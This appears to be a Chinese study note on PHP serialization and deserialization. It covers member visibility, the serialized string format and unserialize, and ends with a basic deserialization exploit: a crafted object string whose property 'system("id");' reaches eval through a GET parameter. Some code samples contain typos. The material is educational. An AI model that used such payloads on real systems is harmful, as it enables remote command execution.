序列化与反序列化学习

1.前期知识:

php 复制代码
<?php
    class 类名{
        $name;    #定义变量成员1
        $sex;     #变量成员2
       function jinne($vat){          #定义一个函数  
            cheo $this->name;          #在类中调用变量成员1
         }
    }
?>

将其实例化才能输出

php 复制代码
<?php
class hero{
    var $name;     
    var $sex';                           
    function jinne($var1) {
        echo $this->name;
    }
}
$bb = new hero();    #实例化,并赋值给$bb
echo $bb->name = 'pika';      #在外部调用类的name并赋值为pika
echo $bb->sex = 'man';       #在外部调用类的sex并赋值为man
?>
成员变量区分公有,私有以及子类公有非子类私有

|-----------|----------------------------|
| public | 公有,即无论哪都能调用成员变量 |
| private | 私有,即只能在类的内部调用,出了类就不能调用 |
| protected | 子类公有非子类私有,只能在类的内部还在子类的内部调用 |

php 复制代码
<?php
class hero{
    public  $name='kaka';            #这是公有
    private  $sex='man';                    #这是私有
    protected  $phone='165';              #这是子类公有,非子类私有
    function jineng($var1) {
        echo $this->name;
        echo $var1;
    }
}
$bb = new hero();
echo $bb->name;
echo $bb->sex;
echo $bb->phone;
?>

执行后可以看到,name可以在外部调用,但sex和phone都不显示而且报错。

php 复制代码
<?php
class hero{
    public  $name='kaka';
    private  $sex='man';
    protected  $phone='165';
    function jineng($var1) {
        echo $this->name;
    }
}
class hero2 extends hero{
    function test(){
        echo $this->name;
        echo $this->sex;
        echo $this->phone;
    }
}
$bb= new hero();
$cc=new hero2();
echo $bb->name."</>";
echo $cc->test();
echo $cc->phone();
?>

可以看到,外类可以调用类中的公有成员,但其他成员调用不了,而外类通过子类的函数可以调用public的成员以及protected成员,说明private只有hero自己可以调用,其他人不行。protected可以允许通过子类hero2调用类,但外部调用不行。

2.序列化

是指将上面所学的代码转换为一个字符串,方便存储。

序列化的格式:

主要看字符串: s:长度:字符串;

|-----|------------|-------------|
| 描述 | 序列化前 | 序列化后 |
| 空字符 | null | N; |
| 整型 | 666 | i:666; |
| 浮点型 | 66.6 | d:66.6; |
| 布尔 | true false | b:1; b:0; |
| 字符串 | "pika" | s:4:"pika"; |

示例:
php 复制代码
<?php
class test{
    public $pub='pika';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);  #序列化test这个类
?>

序列化后如下图:首先O代表是一个对象,后面的4代表有4个字符,test是对象的名字即类名。紧接着跟着个1代表对象有1个变量,后面括号括的就是变量,首先变量是字符串类型,有3个字符,叫pub,他的值也是一个字符串类型,有4个字符叫pika。

序列化后public与protected以及private的不同

首先public是正常的序列化描述。如上面略

而private则是会在变量前后加上空格然后在变量名前加上类名,因此序列化后就会格式=%00+类名+%00+变量名,而且他的个数也要加上所以一共有1+4+1+3.

php 复制代码
<?php
class test{
    private $pub='pika';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?>

protected也是差不多,但与private不同的是他会将类名变为*,其他都一样,个数为1+1+1+3=6

php 复制代码
<?php
class test{
    protected $pub='pika';
    function jineng(){
        echo $this->pub;
    }
}
$a = new test();
echo serialize($a);
?>
存在两个或者多个O解析:

如图:首先一个对象里有一个test2,它的成员是ben,但ben的值是也是一个对象,说明ben的值是一个实例化的对象(即new test()),因此它是一个新的对象,test它的成员有1个叫pub,pub的值是pika。

php 复制代码
<?php
class test{
    var $pub='pika';
    function jineng(){
        echo $this->pub;
    }
}
class test2{
    var $ben;
    function __construct(){
        $this->ben=new test();
    }
}
$a = new test2();
echo serialize($a);
?>

##不使用魔法函数__construct的方法
<?php
class test{
    var $pub='pika';
    function jineng(){
        echo $this->pub;
    }
}
class test2{
    var $ben;
}
$a = new test();
$b = new test2();
$b->ben = $a;
echo serialize($b);
?>

3.反序列化

反序列化就是将序列化后的字符串转换为对象。反序列化不触发类成员,反序列化的值与对象里的值没关系,而且反序列的值只与反序列化的值有关系。

示例:

首先为了直观学习,先生成一个序列化。

php 复制代码
<?php
highlight_file(__FILE__);
class test {
    public  $a = 'benben';
    protected  $b = 666;
    private  $c = false;
    public function displayVar() {
        echo $this->a;
    }
}
$d = new test();        #实例
$d = serialize($d);     #将其序列化
echo $d;

O:4:"test":3:{s:1:"a";s:6:"benben";s:4:" * b";i:666;s:7:" test c";b:0;}

现在开始反序列化,知道序列化的值进行反序列化
php 复制代码
<?php
#一个反序列
$a = 'O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"%00*%00b";i:666;s:7:" test c";b:0;}';
#进行url编码
$b = urldecode($a);
#反序列化
$c = unserialize($b);
#输出反序列化
var_dump($c);
?>
然后根据反序列的值只与序列化的值相关,不要类的值相关(漏洞的前提知识)。

因此修改序列化的值为hacke,输出的结果也改变了,这也是反序列化的漏洞前提知识。

php 复制代码
<?php
$d = 'O:4:"test":3:{s:1:"a";s:5:"hacke";s:4:"%00*%00b";i:666;s:7:" test c";b:0;}';
$e = urldecode($d);
$f = unserialize($e);
var_dump($f);
?>

再提一个调用类里的函数。

已经修改了序列化的参数,然后进行编码并反序列化,现在需要调用类里的函数。

需要调用类里的函数就要代码中有这个类的函数如下代码。通过这个代码就能利用displauVar函数执行test类中的a,而且a的值是反序列化的值。

php 复制代码
<?php
class test {
    public  $a = 'benben';
    protected  $b = 666;
    private  $c = false;
    public function displayVar() {
        echo $this->a;
    }
}

$d = 'O:4:"test":3:{s:1:"a";s:5:"hacke";s:4:"%00*%00b";i:666;s:7:" test c";b:0;}';
$e = urldecode($d);
$f = unserialize($e);
$f->displayVar();
?>

4.反序列化的普通利用漏洞

要已知存在反序列漏洞,然后将其源码复制,构造。

先复制其源码,然后进行解析构造,未修改时的序列化代码。

但这只是源来的序列化现在修改为需要的序列化。

php 复制代码
<?php
error_reporting(0);
class test{
    public $a = 'system("id");';
    public function displayVar() {
        eval($this->a);
    }
}
$a = new test();
$b = serialize($a);
var_dump($b);
?>

得到序列化结果:O:4:"test":1:{s:1:"a";s:13:"system("id");";}

最后分析源来的代码可以知道是通过GET的benben参数来获取字符串,然后再进行反序列化,最后在调用类函数。因此。

先在php环境中测试一下,是成功的

因为id执行不出来所以换了cd

这就是反序列的普通利用。

持续更新ing

相关推荐
星火开发设计2 小时前
using 关键字:命名空间的使用与注意事项
开发语言·c++·学习·算法·编程·知识
进击的荆棘2 小时前
C++起始之路——string
开发语言·c++·stl
我是咸鱼不闲呀2 小时前
力扣Hot100系列18(Java)——[技巧]总结 (只出现一次的数字,多数元素,颜色分类,下一个排列,寻找重复数)
java·算法·leetcode
_周游2 小时前
Java8 API文档搜索引擎_优化构建索引速度
java·服务器·搜索引擎·intellij-idea
孞㐑¥2 小时前
算法—字符串
开发语言·c++·经验分享·笔记·算法
北凉军2 小时前
IDEA中热部署插件JRebel激活失败404
java·ide·intellij-idea
乐观甜甜圈2 小时前
在Windows系统上hprof文件是否可以删除
java
小龙报2 小时前
【数据结构与算法】单链表核心精讲:从概念到实战,吃透指针与动态内存操作
c语言·开发语言·数据结构·c++·人工智能·算法·链表
m5655bj2 小时前
通过 C# 设置 Word 文档背景颜色、背景图
开发语言·c#·word